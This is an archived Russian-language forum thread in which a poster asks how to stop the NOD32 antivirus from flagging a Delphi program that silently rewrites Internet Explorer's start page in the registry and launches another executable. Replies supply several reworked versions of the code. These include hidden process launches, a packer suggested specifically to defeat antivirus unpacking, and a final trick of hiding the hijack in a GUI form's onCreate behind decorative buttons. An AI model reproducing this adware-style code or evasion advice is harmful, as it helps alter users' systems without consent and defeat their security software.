Просмотр полной версии : Борьба с NOD32 из Delphi
Есть программка (код ниже), она не делает ничего особенного кроме того что при запуске её устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe (которая полностью безопасна). НОД 32 почему то ругается на скомпилинный EXEшник, хотя DR.Web молчит.
Вопрос:
1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался
2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?
{$R run.res} //Инклудим Файл ресурсов в котором есть иконка
uses
Windows, Registry, ShellApi;
var
r: TRegistry;
h: HWND;
begin
r := TRegistry.Create;
r.RootKey := HKEY_CURRENT_USER;
r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
r.WriteString('Start Page', 'http://www.some_site.ru');
r.CloseKey;
r.Free;
ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
end.
нод скорее всего ругается на изменение реестра осла...
точняк это из за осла нод парит мозги.
1)если уж совсем никак, то попробуй реализовать операции с реестром через bat файл, а потом его запустить
2) может быть и уменьшится, но не значительно. проблемы с размером exe решаются просто: использовать kol библиотеку.
устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe
1. Скрытый запуск процесса.
2. Работа с ветвью реестра которая подгрузится по умолчанию... ну похоже ведь на Adware, да? =)
1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался
2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?
1.
а) не юзай пакеры
б) ни делай скрытых запусков типа
winexec('file.exe',sw_hide);
ShellExecute(handle,nil,'file.exe',nil,nil,sw_hide );
(примечание. ИСХОДНИК СМОТРЕЛ!)
в) ни делай ничего противозаконного =)
2) да действительно так чем выше версия КОМПИЛЯТОРА тем выше исходный размер.
{$R run.res} //Инклудим Файл ресурсов в котором есть
иконка
//зачем иконка?
uses
Windows, Registry, ShellApi;
//Размер? Избавляйся от Registry & ShellAPI
var
r: TRegistry;
h: HWND;
//Теперь объясни зачем тебе переменная h?
begin
r := TRegistry.Create;
r.RootKey := HKEY_CURRENT_USER;
r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
r.WriteString('Start Page', 'http://www.some_site.ru');
r.CloseKey;
r.Free;
ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
end.
1) Думаю многие видели диски какого нить там софта, где также ставиться хомпага в ИЕ на их сайт, причем нод молчит. Может есть способ изменения хомпаге ИЕ через ВинАпи ?
2) я пренебрежительно отношусь к Kol, он бывает коверкает приложение, хотя здесь вроде программка маленькая, думаю что всё будет ОК.
Кстати, будет ли НОД ругаться если использовать не консльное приложение а Gui-приложение? ( надо проверить ) .
Иконка нужна, однозначна, ну чтоб красиво было :)
Если избавться от Registry & ShellAPI , то каким образом менять хомпагу у ИЕ ?
))
Ужос...
от ShellAPI можно избавиться путем переноса описания функции со всем описанием
т.е. имя, переменные, экспорт...
сейчас не могу сделать т.к. не дома.
в качестве варианта можно использовать winexec
от Registry можно избавиться если будешь работать с реестром на API
а вместо ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
WinExec() использовать нереально? учитывая что ShellExecute запускается с аргументами h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL, WinExec полноценно ее заменит + не надо shellapi подключать, размер будет меньше
пакеры как раз надо использовать!!! какой нибудь telock 1.0 (private edition). Вряд ли нод его распакует )))
Тут попробавал изменить код, чрез ВинАпи попыытался, нифига, НОД Снова орет:
//{$R run.res}
uses
Windows, Registry, ShellApi;
var
h: HWND;
(******)
function RegWriteStr(RootKey: HKEY; Key, Name, Value: string): Boolean;
var
Handle: HKEY;
Res: LongInt;
begin
Result := False;
Res := RegCreateKeyEx(RootKey, PChar(Key), 0, nil, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, nil, Handle, nil);
if Res <> ERROR_SUCCESS then
Exit;
Res := RegSetValueEx(Handle, PChar(Name), 0, REG_SZ, PChar(Value),
Length(Value) + 1);
Result := Res = ERROR_SUCCESS;
RegCloseKey(Handle);
end;
(******)
begin
RegWriteStr(HKEY_CURRENT_USER, 'Software\Microsoft\Internet Explorer\Main', 'Start Page', 'http://www.maizon.ru');
// ShellExecute(h, 'open', pchar('la2.exe'), nil , nil, SW_SHOWNORMAL);
end.
Вот: Работает, весит 14 кб, нодом не палица =)
program Project1;
{$R run.res}
uses
Windows;
var
Reg : HKEY;
begin
RegCreateKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\Main', Reg);
RegSetValueEx(Reg, PChar('Start Page') ,0 ,REG_SZ ,PChar('http://www.somesite.ru'), Length('http://www.somesite.ru') + 1);
RegCloseKey(Reg);
winexec('some_bin.exe',0);
end.
Вообще фигня какая то, НОД - тупой, создал Gui приложение, и НОД , как ни странно молчит .
) ну даешь... НОД не тупой просто параноя =)
ну как сделал?
вот:
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall;
external 'shell32.dll'name 'ShellExecuteA';
) ну даешь... НОД не тупой просто параноя =)
ну как сделал?
вот:
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall;
external 'shell32.dll'name 'ShellExecuteA';
Из этой проблемы вылез с помощью GUI проложения, добавил на форму всяких красивых кнопоче, орюшечек и др, а onCreate сделал бяку которую и хотел.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot